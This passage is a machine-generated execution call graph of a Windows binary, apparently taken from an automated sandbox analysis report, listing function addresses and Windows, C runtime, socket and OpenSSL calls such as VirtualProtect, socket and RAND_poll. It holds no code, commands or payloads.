                                                                                                                          execution_graph 48251 c43d44 48252 c43d68 48251->48252 48253 c43d99 48251->48253 48296 d36562 strrchr strrchr 48252->48296 48284 c43c99 48253->48284 48259 c43c99 112 API calls 48261 c43dcb 48259->48261 48262 c43c99 112 API calls 48261->48262 48263 c43de4 48262->48263 48264 c43c99 112 API calls 48263->48264 48265 c43dfd 48264->48265 48266 c43c99 112 API calls 48265->48266 48267 c43e16 48266->48267 48268 c43c99 112 API calls 48267->48268 48269 c43e2f 48268->48269 48270 c43c99 112 API calls 48269->48270 48271 c43e48 48270->48271 48272 c43c99 112 API calls 48271->48272 48273 c43e5e 48272->48273 48274 c43c99 112 API calls 48273->48274 48275 c43e77 48274->48275 48276 c43c99 112 API calls 48275->48276 48277 c43e8d 48276->48277 48278 c43c99 112 API calls 48277->48278 48282 c43ea3 48278->48282 48279 c43ef1 48280 c43f02 48279->48280 48281 c43efd __stack_chk_fail 48279->48281 48281->48280 48282->48279 48283 c43c99 112 API calls 48282->48283 48283->48282 48285 c43d31 48284->48285 48286 c43cbb 48284->48286 48288 c43d42 48285->48288 48289 c43d3d __stack_chk_fail 48285->48289 48309 d486e9 48286->48309 48288->48259 48289->48288 48295 c43d1f free 48295->48285 48297 d365aa 48296->48297 48298 d36601 __stack_chk_fail 48297->48298 48299 c43d74 48297->48299 48298->48299 48300 d39764 48299->48300 48301 d33842 104 API calls 48300->48301 48302 d397e7 48301->48302 48303 d36005 2 API calls 48302->48303 48304 d3982d 48303->48304 48554 d4b478 48304->48554 48307 d39857 __stack_chk_fail 48308 c43d94 abort 48307->48308 48308->48253 48310 d48705 48309->48310 48311 d48733 strlen 48310->48311 48316 d4870f 48310->48316 48312 d48743 48311->48312 48311->48316 48331 d40e5c __stack_chk_fail 48312->48331 48313 c43cc6 48313->48285 48317 d37d3d 48313->48317 48314 d48789 __stack_chk_fail 48314->48313 48316->48313 48316->48314 48318 d37d70 48317->48318 48332 d413ee 48318->48332 48321 d37d92 free 48322 d37d9d 48321->48322 48323 c43cd5 48322->48323 48324 d37dab __stack_chk_fail 48322->48324 48325 d33842 48323->48325 48324->48323 48326 d33874 48325->48326 48328 d338a9 48325->48328 48345 d32e50 48326->48345 48329 d338b7 __stack_chk_fail 48328->48329 48330 c43d11 48328->48330 48329->48330 48330->48285 48330->48295 48331->48316 48333 d41412 48332->48333 48334 d41443 _strdup 48332->48334 48337 d36562 3 API calls 48333->48337 48335 d4148f 48334->48335 48336 d4145f 48334->48336 48340 d37d89 48335->48340 48341 d4149d __stack_chk_fail 48335->48341 48339 d33842 101 API calls 48336->48339 48338 d4141e 48337->48338 48342 d39764 101 API calls 48338->48342 48343 d41483 exit 48339->48343 48340->48321 48340->48322 48341->48340 48344 d4143e abort 48342->48344 48343->48335 48344->48334 48346 d32e5d 48345->48346 48347 d32ed0 48346->48347 48348 d32eec 48346->48348 48436 e18710 20 API calls 48347->48436 48350 d32efe 48348->48350 48351 d32f1c 48348->48351 48437 e18710 20 API calls 48350->48437 48353 d32f1a 48351->48353 48354 d32f42 48351->48354 48353->48351 48438 e18710 20 API calls 48353->48438 48356 d32f84 48354->48356 48357 d36562 3 API calls 48354->48357 48384 d520d9 48356->48384 48359 d32f5f 48357->48359 48360 d39764 102 API calls 48359->48360 48362 d32f7f abort 48360->48362 48361 d32fb4 48363 d3307c 48361->48363 48393 d3284f 48361->48393 48362->48356 48365 d331a6 48363->48365 48382 d3284f 102 API calls 48363->48382 48421 d32caf 48363->48421 48425 d32d3b 48363->48425 48368 d331e8 48365->48368 48372 d36562 3 API calls 48365->48372 48446 d52151 48368->48446 48375 d331c3 48372->48375 48378 d39764 102 API calls 48375->48378 48381 d331e3 abort 48378->48381 48379 d33200 __stack_chk_fail 48380 d33205 48379->48380 48380->48328 48381->48368 48382->48363 48385 d520fd 48384->48385 48386 d5212e 48384->48386 48387 d36562 3 API calls 48385->48387 48390 d32f90 48386->48390 48391 d5214a __stack_chk_fail 48386->48391 48388 d52109 48387->48388 48389 d39764 103 API calls 48388->48389 48392 d52129 abort 48389->48392 48390->48361 48439 d344d9 105 API calls 48390->48439 48391->48390 48392->48386 48394 d328b8 48393->48394 48395 d3289c 48393->48395 48450 d32523 48394->48450 48461 e18710 20 API calls 48395->48461 48422 d32ce7 48421->48422 48423 d32d34 __stack_chk_fail 48422->48423 48424 d32d39 48422->48424 48423->48424 48424->48363 48426 d32d83 48425->48426 48427 d32de2 48425->48427 48428 d32e0b 48426->48428 48432 d32d8d 48426->48432 48429 d32e49 __stack_chk_fail 48427->48429 48430 d32e4e 48427->48430 48500 d455c5 48428->48500 48429->48430 48430->48363 48432->48427 48511 d32b7a 105 API calls 48432->48511 48434 d32dcf 48435 d39d53 104 API calls 48434->48435 48435->48427 48439->48361 48447 d52174 48446->48447 48448 d52183 __stack_chk_fail 48447->48448 48449 d331f4 48447->48449 48448->48449 48449->48379 48449->48380 48478 d4fc04 48450->48478 48479 d4fc27 48478->48479 48480 d33842 103 API calls 48479->48480 48482 d4fc77 48479->48482 48481 d4fc6b exit 48480->48481 48481->48482 48483 d32552 48482->48483 48484 d4fd09 __stack_chk_fail 48482->48484 48485 d38f30 48483->48485 48484->48483 48486 d38f8b localtime 48485->48486 48487 d38f5a 48485->48487 48501 d45609 48500->48501 48504 d4563a 48500->48504 48502 d36562 3 API calls 48501->48502 48505 d45615 48502->48505 48503 d4569f 48508 d456c7 48503->48508 48509 d456c2 __stack_chk_fail 48503->48509 48504->48503 48506 d45675 _write 48504->48506 48507 d39764 102 API calls 48505->48507 48506->48504 48508->48427 48509->48508 48511->48434 48559 d33207 48554->48559 48557 d4b4c7 __stack_chk_fail 48558 d3984b 48557->48558 48558->48307 48558->48308 48560 d33233 48559->48560 48561 d33269 48559->48561 48562 d32e50 104 API calls 48560->48562 48563 d33277 __stack_chk_fail 48561->48563 48564 d3327c 48561->48564 48562->48561 48563->48564 48564->48557 48564->48558 48565 cd314c 48590 c3f792 48565->48590 48573 cd33d3 48574 cd33e6 48573->48574 48575 cd33e1 __stack_chk_fail 48573->48575 48575->48574 48578 cd6848 106 API calls 48588 cd3199 48578->48588 48580 d36562 3 API calls 48580->48588 48583 d39764 105 API calls 48584 cd32ec abort 48583->48584 48584->48588 48588->48573 48588->48578 48588->48580 48588->48583 48589 d33842 105 API calls 48588->48589 48625 cd2f9b 48588->48625 48635 cd3f06 48588->48635 48644 cd0d2c 48588->48644 48651 ce1e90 48588->48651 48658 cd4177 48588->48658 48665 cd354c 48588->48665 48682 cd0d86 __stack_chk_fail 48588->48682 48683 cd3023 48588->48683 48589->48588 48699 c3f729 48590->48699 48593 c3f7b2 __stack_chk_fail 48594 c3f7b7 48593->48594 48595 cd4037 48594->48595 48596 ce1e90 117 API calls 48595->48596 48597 cd4052 48596->48597 48708 cd3fd0 48597->48708 48601 cd4065 48602 cd408c __stack_chk_fail 48601->48602 48603 cd3175 48601->48603 48602->48603 48604 cd4093 48603->48604 48714 c7b3bd 48604->48714 48607 cd3183 48609 cd3b52 48607->48609 48608 cd40c7 __stack_chk_fail 48608->48607 48610 cd3b74 48609->48610 48611 cd3b8a 48610->48611 48612 cd3bc7 48610->48612 48613 d33842 105 API calls 48611->48613 48615 cd3bbd 48612->48615 48723 c772f0 153 API calls 48612->48723 48613->48615 48616 cd3c6e __stack_chk_fail 48615->48616 48617 cd3c73 48615->48617 48616->48617 48617->48588 48618 cd3bdd 48619 cd3c1b 48618->48619 48620 cd3be1 48618->48620 48724 cc8abb __stack_chk_fail 48619->48724 48622 d33842 105 API calls 48620->48622 48622->48615 48623 cd3c20 48623->48615 48624 d33842 105 API calls 48623->48624 48624->48615 48626 cd2fbd 48625->48626 48632 cd2fc3 48625->48632 48626->48632 48725 c7b147 __stack_chk_fail __stack_chk_fail 48626->48725 48627 cd301c __stack_chk_fail 48628 cd3021 48627->48628 48628->48588 48630 cd2fd5 48630->48632 48726 c5ac3a 202 API calls 48630->48726 48632->48627 48632->48628 48633 cd2fe4 48633->48632 48634 ce1e90 117 API calls 48633->48634 48634->48632 48636 cd3f29 48635->48636 48637 cd3f22 48635->48637 48636->48637 48640 d36562 3 API calls 48636->48640 48638 cd3f77 48637->48638 48639 cd3f72 __stack_chk_fail 48637->48639 48638->48588 48639->48638 48641 cd3f42 48640->48641 48642 d39764 105 API calls 48641->48642 48643 cd3f62 abort 48642->48643 48643->48637 48727 c12a0b 48644->48727 48652 c3f792 108 API calls 48651->48652 48653 ce1ea5 48652->48653 48792 ce1d49 48653->48792 48656 ce1ecd 48656->48588 48657 ce1ec8 __stack_chk_fail 48657->48656 48801 c12aff 48658->48801 48661 d39b70 3 API calls 48662 cd423a 48661->48662 48666 ce1e90 117 API calls 48665->48666 48667 cd356d 48666->48667 48668 cd4093 3 API calls 48667->48668 48669 cd357b 48668->48669 48681 cd361c 48669->48681 48814 cd40ce 48669->48814 48671 cd362f 48671->48588 48672 cd362a __stack_chk_fail 48672->48671 48681->48671 48681->48672 48682->48588 48684 cd3053 48683->48684 48685 cd3092 48684->48685 48686 d36562 3 API calls 48684->48686 48692 cd30e9 time 48685->48692 48693 cd30ca 48685->48693 48687 cd306d 48686->48687 48688 d39764 105 API calls 48687->48688 48689 cd308d abort 48688->48689 48689->48685 48690 cd3146 48690->48588 48691 cd3141 __stack_chk_fail 48691->48690 48694 c3f792 108 API calls 48692->48694 48693->48690 48693->48691 48695 cd30fc 48694->48695 48899 c7a79c __stack_chk_fail __stack_chk_fail __stack_chk_fail 48695->48899 48697 cd3104 48900 c8c27f 231 API calls 48697->48900 48700 c3f77b 48699->48700 48701 c3f74a 48699->48701 48703 c3f790 48700->48703 48704 c3f78b __stack_chk_fail 48700->48704 48702 d36562 3 API calls 48701->48702 48705 c3f756 48702->48705 48703->48593 48703->48594 48704->48703 48706 d39764 105 API calls 48705->48706 48707 c3f776 abort 48706->48707 48707->48700 48709 cd3f06 107 API calls 48708->48709 48710 cd3ff7 48709->48710 48711 cd4035 48710->48711 48712 cd4030 __stack_chk_fail 48710->48712 48711->48601 48713 cd3d90 118 API calls 48711->48713 48712->48711 48713->48601 48719 c7b356 48714->48719 48717 c7b405 __stack_chk_fail 48718 c7b40a 48717->48718 48718->48607 48718->48608 48720 c7b379 48719->48720 48721 c7b3b6 __stack_chk_fail 48720->48721 48722 c7b3bb 48720->48722 48721->48722 48722->48717 48722->48718 48723->48618 48724->48623 48725->48630 48726->48633 48746 be21c4 48727->48746 48747 be21dd 48746->48747 48748 be21e2 48746->48748 48749 d39b0b 105 API calls 48747->48749 48750 be21fc 48748->48750 48751 be21f7 __stack_chk_fail 48748->48751 48749->48748 48752 d39b0b 48750->48752 48751->48750 48761 d4107e 48752->48761 48762 d410a5 48761->48762 48763 d410d6 malloc 48761->48763 48764 d36562 3 API calls 48762->48764 48766 d4112f 48763->48766 48767 d410ff 48763->48767 48768 d410b1 48764->48768 48770 d39b27 48766->48770 48771 d4113d __stack_chk_fail 48766->48771 48769 d33842 101 API calls 48767->48769 48771->48770 48793 ce1d71 48792->48793 48799 ce1d87 48792->48799 48794 ce1d83 48793->48794 48800 c77869 114 API calls 48793->48800 48795 c7b356 __stack_chk_fail 48794->48795 48794->48799 48795->48799 48796 ce1dcc 48796->48656 48796->48657 48797 ce1dc7 __stack_chk_fail 48797->48796 48799->48796 48799->48797 48800->48794 48802 be21c4 106 API calls 48801->48802 48803 c12b26 48802->48803 48804 d39b0b 105 API calls 48803->48804 48805 c12b2e 48804->48805 48806 c12bf3 48805->48806 48811 d39d53 105 API calls 48805->48811 48812 c087f0 107 API calls 48805->48812 48813 d42358 strcmp __stack_chk_fail 48805->48813 48807 c12c01 __stack_chk_fail 48806->48807 48808 c12c06 48806->48808 48807->48808 48808->48661 48811->48805 48812->48805 48813->48805 48850 c65d82 48814->48850 48851 c65d9b 48850->48851 48855 c65da0 48850->48855 48852 d39b0b 105 API calls 48851->48852 48852->48855 48853 c65db5 __stack_chk_fail 48854 c65dba 48853->48854 48856 c65d48 48854->48856 48855->48853 48855->48854 48899->48697 48900->48693 48901 be11fd 48902 be1206 48901->48902 48903 be1227 48902->48903 48904 be1424 _amsg_exit 48902->48904 48905 be143e _initterm 48903->48905 48907 be124c 48903->48907 48904->48905 48904->48907 48906 be1464 48905->48906 48905->48907 48907->48906 48923 e16bb0 48907->48923 48909 be127e SetUnhandledExceptionFilter 48913 be129f 48909->48913 48910 be1333 malloc 48911 be1360 48910->48911 48912 be1364 strlen malloc memcpy 48911->48912 48912->48912 48914 be139b 48912->48914 48913->48910 48941 e16ef0 48914->48941 48916 be13b6 48917 be14ab exit 48916->48917 48918 be13f5 48916->48918 48946 e16f10 GetSystemTimeAsFileTime GetCurrentProcessId GetCurrentThreadId GetTickCount QueryPerformanceCounter 48917->48946 48919 be13ff _cexit 48918->48919 48920 be1409 48918->48920 48919->48920 48922 be14d2 48924 e16bb9 48923->48924 48925 e16bc0 48923->48925 48924->48909 48926 e16cbb 48925->48926 48933 e16c4e 48925->48933 48934 e16cb3 48925->48934 48931 e16cf7 48926->48931 48926->48934 48948 e16a70 48926->48948 48927 e16e4b 48977 e16a10 13 API calls 48927->48977 48930 e16e5b 48931->48934 48937 e16d26 VirtualQuery 48931->48937 48932 e16ca3 48947 e16a10 13 API calls 48932->48947 48933->48927 48933->48931 48933->48932 48933->48934 48936 e16a70 13 API calls 48933->48936 48934->48909 48936->48933 48938 e16e26 48937->48938 48939 e16d4c VirtualProtect 48937->48939 48976 e16a10 13 API calls 48938->48976 48939->48931 48942 e16ea0 48941->48942 48943 e16ef9 48941->48943 48984 e16780 _lock __dllonexit _unlock _onexit 48942->48984 48943->48916 48945 e16ecb 48945->48916 48946->48922 48947->48934 48950 e16a84 48948->48950 48949 e16b4f 48949->48926 48950->48949 48951 e16b9a 48950->48951 48953 e16ade VirtualQuery 48950->48953 48980 e16a10 13 API calls 48951->48980 48954 e16b7a 48953->48954 48955 e16b0d 48953->48955 48954->48951 48979 e16a10 13 API calls 48954->48979 48955->48949 48957 e16b21 VirtualProtect 48955->48957 48957->48949 48958 e16b64 GetLastError 48957->48958 48978 e16a10 13 API calls 48958->48978 48960 e16baa 48961 e16cbb 48960->48961 48969 e16c4e 48960->48969 48970 e16bb9 48960->48970 48964 e16a70 8 API calls 48961->48964 48967 e16cf7 48961->48967 48961->48970 48962 e16e4b 48983 e16a10 13 API calls 48962->48983 48964->48961 48965 e16e5b 48966 e16a70 8 API calls 48966->48969 48967->48970 48972 e16d26 VirtualQuery 48967->48972 48968 e16ca3 48981 e16a10 13 API calls 48968->48981 48969->48962 48969->48966 48969->48967 48969->48968 48969->48970 48970->48926 48973 e16e26 48972->48973 48974 e16d4c VirtualProtect 48972->48974 48982 e16a10 13 API calls 48973->48982 48974->48967 48976->48927 48977->48930 48978->48954 48979->48951 48980->48960 48981->48970 48982->48962 48983->48965 48984->48945 48985 d36f50 48990 d36fad 48985->48990 48988 d36fa6 __stack_chk_fail 48989 d36fab 48988->48989 49006 d3721b 48990->49006 48993 d37006 socket 48994 d37032 48993->48994 48995 d36fee 48993->48995 48996 d3705a 48994->48996 49013 d372a4 ioctlsocket 48994->49013 48997 d37080 __stack_chk_fail 48995->48997 48998 d36f9b 48995->48998 49017 d36cdc 48996->49017 48997->48998 48998->48988 48998->48989 49003 d37048 49016 d36d57 109 API calls 49003->49016 49007 d36cdc 108 API calls 49006->49007 49008 d37230 49007->49008 49009 d36d27 2 API calls 49008->49009 49010 d3723d 49009->49010 49011 d36fe0 49010->49011 49012 d3724b __stack_chk_fail 49010->49012 49011->48993 49011->48995 49012->49011 49014 d372f0 __stack_chk_fail 49013->49014 49015 d37043 49013->49015 49014->49015 49015->48996 49015->49003 49016->48995 49018 d36cfd 49017->49018 49022 d36d02 49017->49022 49030 d52920 107 API calls 49018->49030 49020 d520d9 105 API calls 49021 d36d14 49020->49021 49023 d36d20 __stack_chk_fail 49021->49023 49024 d36d25 49021->49024 49022->49020 49023->49024 49025 d36d27 49024->49025 49026 d52151 __stack_chk_fail 49025->49026 49027 d36d44 49026->49027 49028 d36d50 __stack_chk_fail 49027->49028 49029 d36d55 49027->49029 49028->49029 49029->48995 49030->49022 49031 c8194f 49032 c819be 49031->49032 49033 c8197f 49031->49033 49034 c65d48 106 API calls 49032->49034 49033->49032 49035 d36562 3 API calls 49033->49035 49044 c819c3 49034->49044 49036 c81999 49035->49036 49037 d39764 105 API calls 49036->49037 49040 c819b9 abort 49037->49040 49038 c81a70 49041 c81a7c __stack_chk_fail 49038->49041 49042 c81a81 49038->49042 49039 c65d48 106 API calls 49039->49044 49040->49032 49041->49042 49044->49038 49044->49039 49046 c7bb36 __stack_chk_fail __stack_chk_fail 49044->49046 49047 c81fcb 49044->49047 49046->49044 49052 c81dc5 49047->49052 49050 c8205d __stack_chk_fail 49051 c82062 49050->49051 49051->49044 49053 c3f792 108 API calls 49052->49053 49054 c81e14 49053->49054 49082 c81a83 49054->49082 49057 c81e64 49086 c53770 49057->49086 49058 d36562 3 API calls 49060 c81e3f 49058->49060 49062 d39764 105 API calls 49060->49062 49066 c81e5f abort 49062->49066 49063 c81eb9 49065 c81f35 49063->49065 49129 d281dd 109 API calls 49063->49129 49064 c81e81 49128 c803ca __stack_chk_fail __stack_chk_fail 49064->49128 49091 c81ac3 49065->49091 49066->49057 49069 c81e8c 49071 d33842 105 API calls 49069->49071 49073 c81eb4 49071->49073 49072 c81eea 49072->49065 49074 c81eee 49072->49074 49075 c81fbd __stack_chk_fail 49073->49075 49076 c81fc2 49073->49076 49130 c80d16 106 API calls 49074->49130 49075->49076 49076->49050 49076->49051 49078 c81efa 49131 c803ca __stack_chk_fail __stack_chk_fail 49078->49131 49080 c81f07 49081 d33842 105 API calls 49080->49081 49081->49073 49083 c81a9f 49082->49083 49084 c81abc __stack_chk_fail 49083->49084 49085 c81ac1 49083->49085 49084->49085 49085->49057 49085->49058 49132 c536f3 49086->49132 49089 c537a1 49089->49063 49089->49064 49090 c5379c __stack_chk_fail 49090->49089 49092 c81afc 49091->49092 49093 c81b2d 49091->49093 49094 d36562 3 API calls 49092->49094 49095 c81b6c 49093->49095 49098 d36562 3 API calls 49093->49098 49097 c81b08 49094->49097 49096 c81bab 49095->49096 49099 d36562 3 API calls 49095->49099 49100 c3f792 108 API calls 49096->49100 49101 d39764 105 API calls 49097->49101 49102 c81b47 49098->49102 49103 c81b86 49099->49103 49104 c81bb0 49100->49104 49105 c81b28 abort 49101->49105 49106 d39764 105 API calls 49102->49106 49108 d39764 105 API calls 49103->49108 49136 d4bbf7 memset 49104->49136 49105->49093 49107 c81b67 abort 49106->49107 49107->49095 49110 c81ba6 abort 49108->49110 49110->49096 49112 d4bbf7 2 API calls 49113 c81bf0 49112->49113 49115 c81c2d 49113->49115 49139 d4d610 108 API calls 49113->49139 49126 c81d97 49115->49126 49140 d4e04a 117 API calls 49115->49140 49116 c81db8 __stack_chk_fail 49117 c81dbd 49116->49117 49117->49073 49119 c81cf6 49141 d4e12b __stack_chk_fail __stack_chk_fail __stack_chk_fail __stack_chk_fail 49119->49141 49121 c81d1b 49142 c803ca __stack_chk_fail __stack_chk_fail 49121->49142 49123 c81d29 49124 d33842 105 API calls 49123->49124 49126->49116 49126->49117 49128->49069 49129->49072 49130->49078 49131->49080 49133 c5371a 49132->49133 49134 c5376e 49133->49134 49135 c53769 __stack_chk_fail 49133->49135 49134->49089 49134->49090 49135->49134 49137 d4bc45 __stack_chk_fail 49136->49137 49138 c81bd4 49136->49138 49137->49138 49138->49112 49139->49115 49140->49119 49141->49121 49142->49123 49143 bfca37 49144 d33842 105 API calls 49143->49144 49145 bfca73 49144->49145 49146 bfca7e 49145->49146 49167 c96c8c 107 API calls 49145->49167 49158 c96d83 49146->49158 49149 bfca89 49168 d1ed64 118 API calls 49149->49168 49151 bfcaf1 49152 bfcb57 free 49151->49152 49153 bfcb69 49151->49153 49152->49153 49154 bfcb84 49153->49154 49169 c8dd89 130 API calls 49153->49169 49156 bfcb97 49154->49156 49157 bfcb92 __stack_chk_fail 49154->49157 49157->49156 49159 c96dd8 49158->49159 49160 c96da7 49158->49160 49162 c96dfc 49159->49162 49163 c96df7 __stack_chk_fail 49159->49163 49161 d36562 3 API calls 49160->49161 49164 c96db3 49161->49164 49162->49149 49163->49162 49165 d39764 105 API calls 49164->49165 49166 c96dd3 abort 49165->49166 49166->49159 49167->49146 49168->49151 49169->49154 49170 bea876 49175 cee1a9 49170->49175 49172 bea882 49173 bea93d __stack_chk_fail 49172->49173 49174 bea942 49172->49174 49173->49174 49176 cee1d8 49175->49176 49177 cee1d3 __stack_chk_fail 49175->49177 49176->49172 49177->49176 49178 bea737 49179 bea74c 49178->49179 49180 bea758 SetProcessDEPPolicy 49179->49180 49181 bea767 49179->49181 49180->49181 49214 c3faab 49181->49214 49191 bea93d __stack_chk_fail 49192 bea942 49191->49192 49193 bea799 49194 c3f792 108 API calls 49193->49194 49213 bea7c3 49193->49213 49195 bea7f0 49194->49195 49196 bea857 49195->49196 49198 c3f792 108 API calls 49195->49198 49267 d5051a 126 API calls 49196->49267 49200 bea7ff 49198->49200 49199 bea85c 49201 c3f792 108 API calls 49199->49201 49200->49196 49259 be8086 161 API calls 49200->49259 49202 bea861 49201->49202 49204 bea80b 49266 d508b7 106 API calls 49204->49266 49213->49191 49213->49192 49215 c3fac4 49214->49215 49226 c3faf4 49214->49226 49218 c3faf6 49215->49218 49219 c3facf 49215->49219 49216 c3fb18 __stack_chk_fail 49217 bea76c 49216->49217 49227 d4b518 49217->49227 49270 c3fb1f 106 API calls 49218->49270 49268 c3fb1f 106 API calls 49219->49268 49222 c3fad4 49269 d36107 111 API calls 49222->49269 49223 c3fafb 49225 d413ee 105 API calls 49223->49225 49225->49226 49226->49216 49226->49217 49228 d4b556 49227->49228 49229 d4b53f free 49227->49229 49230 d4b55c 49228->49230 49231 d4b579 49228->49231 49229->49228 49274 d36107 111 API calls 49230->49274 49275 d36107 111 API calls 49231->49275 49234 d4b577 49271 d4b4ce 49234->49271 49237 bea774 time 49239 d4545c 49237->49239 49238 d4b59d __stack_chk_fail 49238->49237 49240 d45486 __stack_chk_fail 49239->49240 49241 bea788 49239->49241 49240->49241 49242 d528f6 49241->49242 49276 d52b03 49242->49276 49245 d52917 __stack_chk_fail 49246 bea78d 49245->49246 49247 d33fb1 49246->49247 49248 d33fd0 49247->49248 49249 d33fe6 strchr 49247->49249 49285 d5202e __stack_chk_fail 49248->49285 49251 d33ffe 49249->49251 49253 d39b0b 105 API calls 49251->49253 49255 d34016 49251->49255 49252 d33fdc 49252->49249 49253->49255 49254 d34042 49256 d34053 __stack_chk_fail 49254->49256 49257 d34058 49254->49257 49255->49254 49258 d39b0b 105 API calls 49255->49258 49256->49257 49257->49193 49258->49254 49259->49204 49286 c51aed 49259->49286 49267->49199 49268->49222 49269->49226 49270->49223 49272 d4b4f3 49271->49272 49273 d4b4ee __stack_chk_fail 49271->49273 49272->49237 49272->49238 49273->49272 49274->49234 49275->49234 49281 d5218a 49276->49281 49279 d5290b 49279->49245 49279->49246 49280 d52b29 __stack_chk_fail 49280->49279 49282 d521a1 49281->49282 49283 d521b1 49282->49283 49284 d521ac __stack_chk_fail 49282->49284 49283->49279 49283->49280 49284->49283 49285->49252 49287 c51b5b 49286->49287 49288 c51b2a 49286->49288 49325 be43b5 49326 be43e1 49325->49326 49327 be4409 49326->49327 49331 ca7868 49326->49331 49328 be441a 49327->49328 49329 be4415 __stack_chk_fail 49327->49329 49329->49328 49332 ca7888 49331->49332 49333 ca78dd 49331->49333 49334 d33842 105 API calls 49332->49334 49344 ca75c0 time 49333->49344 49336 ca78ac 49334->49336 49338 d36562 3 API calls 49336->49338 49341 ca78b8 49338->49341 49339 ca7909 49339->49326 49340 ca7904 __stack_chk_fail 49340->49339 49342 d39764 105 API calls 49341->49342 49343 ca78d8 abort 49342->49343 49343->49333 49345 c3f792 108 API calls 49344->49345 49346 ca75fd 49345->49346 49365 be4c42 49346->49365 49372 be53ca 49346->49372 49347 ca7614 49348 ca7695 49347->49348 49350 d33842 105 API calls 49347->49350 49349 ca76e7 49348->49349 49355 d36562 3 API calls 49348->49355 49352 ca76f6 event_add 49349->49352 49351 ca7652 49350->49351 49351->49352 49356 d36562 3 API calls 49351->49356 49353 ca7729 49352->49353 49354 ca7724 __stack_chk_fail 49352->49354 49353->49339 49353->49340 49354->49353 49357 ca76c2 49355->49357 49358 ca7670 49356->49358 49359 d39764 105 API calls 49357->49359 49360 d39764 105 API calls 49358->49360 49361 ca76e2 abort 49359->49361 49362 ca7690 abort 49360->49362 49361->49349 49362->49348 49376 d5cc1c RAND_poll 49365->49376 49368 be4c8b 49370 be4c9b __stack_chk_fail 49368->49370 49371 be4ca0 49368->49371 49369 d33842 105 API calls 49369->49368 49370->49371 49371->49347 49373 be53cd 49372->49373 49374 be53dd 49373->49374 49375 be53d8 __stack_chk_fail 49373->49375 49374->49347 49375->49374 49377 d5cc6c 49376->49377 49378 d5cc48 49376->49378 49390 d5c901 49377->49390 49379 d33842 105 API calls 49378->49379 49379->49377 49382 d5cc90 RAND_seed 49383 d5cca3 49382->49383 49409 d5d543 49383->49409 49386 d5ccca RAND_status 49387 d5ccd4 49386->49387 49388 be4c63 49387->49388 49389 d5cceb __stack_chk_fail 49387->49389 49388->49368 49388->49369 49389->49388 49391 d5c95f 49390->49391 49392 d5c92e 49390->49392 49394 d5d543 109 API calls 49391->49394 49393 d36562 3 API calls 49392->49393 49395 d5c93a 49393->49395 49396 d5c979 49394->49396 49397 d39764 105 API calls 49395->49397 49399 d5ca15 49396->49399 49406 d5c9b1 49396->49406 49408 d5c9d5 49396->49408 49425 d5c797 49396->49425 49439 d5c8ce __stack_chk_fail 49396->49439 49440 d42aee memcmp memcmp __stack_chk_fail 49396->49440 49398 d5c95a abort 49397->49398 49398->49391 49401 d33842 105 API calls 49399->49401 49401->49408 49403 d5ca4e 49403->49382 49403->49383 49404 d5ca49 __stack_chk_fail 49404->49403 49407 d33842 105 API calls 49406->49407 49407->49408 49408->49403 49408->49404 49410 d5d621 49409->49410 49411 d5d56f 49409->49411 49412 d5ccbe 49410->49412 49413 d5d62d __stack_chk_fail 49410->49413 49414 d36562 3 API calls 49411->49414 49416 d5d5ae 49411->49416 49412->49386 49412->49387 49413->49412 49417 d5d589 49414->49417 49415 d5d5f0 49421 d5d602 memset 49415->49421 49416->49415 49418 d36562 3 API calls 49416->49418 49419 d39764 105 API calls 49417->49419 49420 d5d5cb 49418->49420 49422 d5d5a9 abort 49419->49422 49423 d39764 105 API calls 49420->49423 49421->49410 49422->49416 49424 d5d5eb abort 49423->49424 49424->49415 49426 d5c7c4 49425->49426 49431 d5c7f5 49425->49431 49427 d36562 3 API calls 49426->49427 49429 d5c7d0 49427->49429 49428 d5c85e 49432 d5c857 49428->49432 49435 d33842 105 API calls 49428->49435 49430 d39764 105 API calls 49429->49430 49433 d5c7f0 abort 49430->49433 49431->49428 49434 d5c833 49431->49434 49437 d5c8c7 __stack_chk_fail 49432->49437 49438 d5c8cc 49432->49438 49433->49431 49436 d33842 105 API calls 49434->49436 49435->49432 49436->49432 49437->49438 49438->49396 49439->49396 49440->49396 49441 be51b3 49442 be520e 49441->49442 49443 be51dc 49441->49443 49444 be521e __stack_chk_fail 49442->49444 49445 be5223 49442->49445 49455 c7d18e 192 API calls 49443->49455 49444->49445 49447 be51e7 49456 c7d3f5 49447->49456 49451 be51fd 49483 c7b635 202 API calls 49451->49483 49453 be5209 49484 c6c787 362 API calls 49453->49484 49455->49447 49457 c3f792 108 API calls 49456->49457 49458 c7d413 49457->49458 49485 c7bc49 187 API calls 49458->49485 49460 c7d429 49470 c7d48f 49460->49470 49486 c7bc49 187 API calls 49460->49486 49462 c7d436 49465 c7d494 49462->49465 49466 c7d46b 49462->49466 49463 be51f2 49482 c7d02d 123 API calls 49463->49482 49464 c7d5a1 __stack_chk_fail 49464->49463 49468 c7d572 49465->49468 49487 d4d610 108 API calls 49465->49487 49467 d33842 105 API calls 49466->49467 49467->49470 49469 c7d581 free 49468->49469 49468->49470 49469->49470 49470->49463 49470->49464 49472 c7d4bf 49488 d4d610 108 API calls 49472->49488 49474 c7d4de 49489 d36107 111 API calls 49474->49489 49476 c7d524 49490 c7d2ab 122 API calls 49476->49490 49478 c7d545 49479 c7d566 49478->49479 49480 c7d554 free 49478->49480 49491 be5b65 49479->49491 49480->49479 49482->49451 49483->49453 49484->49442 49485->49460 49486->49462 49487->49472 49488->49474 49489->49476 49490->49478 49492 c3f792 108 API calls 49491->49492 49493 be5b80 49492->49493 49494 c7b356 __stack_chk_fail 49493->49494 49495 be5b8e 49494->49495 49496 be5bf8 49495->49496 49497 be5bc3 49495->49497 49498 be5c0f 49496->49498 49510 be5bf6 49496->49510 49529 cb95c0 __stack_chk_fail 49496->49529 49497->49510 49511 c79718 49497->49511 49530 c7a31f __stack_chk_fail 49498->49530 49502 be5c3c 49532 be5c54 129 API calls 49502->49532 49506 be5c41 49508 be5c4d __stack_chk_fail 49506->49508 49509 be5c52 49506->49509 49508->49509 49509->49468 49510->49502 49531 c7d0fb 110 API calls 49510->49531 49533 c79677 49511->49533 49529->49498 49530->49510 49531->49502 49532->49506 49534 c79692 49533->49534 49537 c79697 49533->49537 49618 d52920 107 API calls 49534->49618 49536 c3f792 108 API calls 49538 c796a1 49536->49538 49537->49536 49539 c3f792 108 API calls 49538->49539 49540 c796ac 49539->49540 49541 c3f792 108 API calls 49540->49541 49542 c796b7 49541->49542 49554 d55fca 49542->49554 49618->49537 49676 ce545d 49677 ce54e9 49676->49677 49678 ce54a4 49676->49678 49679 ce553b 49677->49679 49680 ce54f6 49677->49680 49681 c3f792 108 API calls 49678->49681 49683 c3f792 108 API calls 